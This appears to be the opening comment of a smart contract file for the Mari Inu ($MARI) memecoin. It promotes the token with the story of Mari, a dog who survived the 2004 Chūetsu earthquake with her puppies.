/**
Mari Inu ($MARI) is inspired by the amazing true story of Mari, a brave Japanese dog, and her three puppies who survived the 2004 Chūetsu earthquake.

We're here to celebrate the spirit, loyalty, and resilience of Mari and her pups. Mari Inu ($MARI) brings people together, creating a strong, united community just like Mari did during tough times.

Join the Mari Inu ($MARI) pack and be part of a movement that honors a heroic dog and supports great causes. Let's make a difference, one paw at a time!
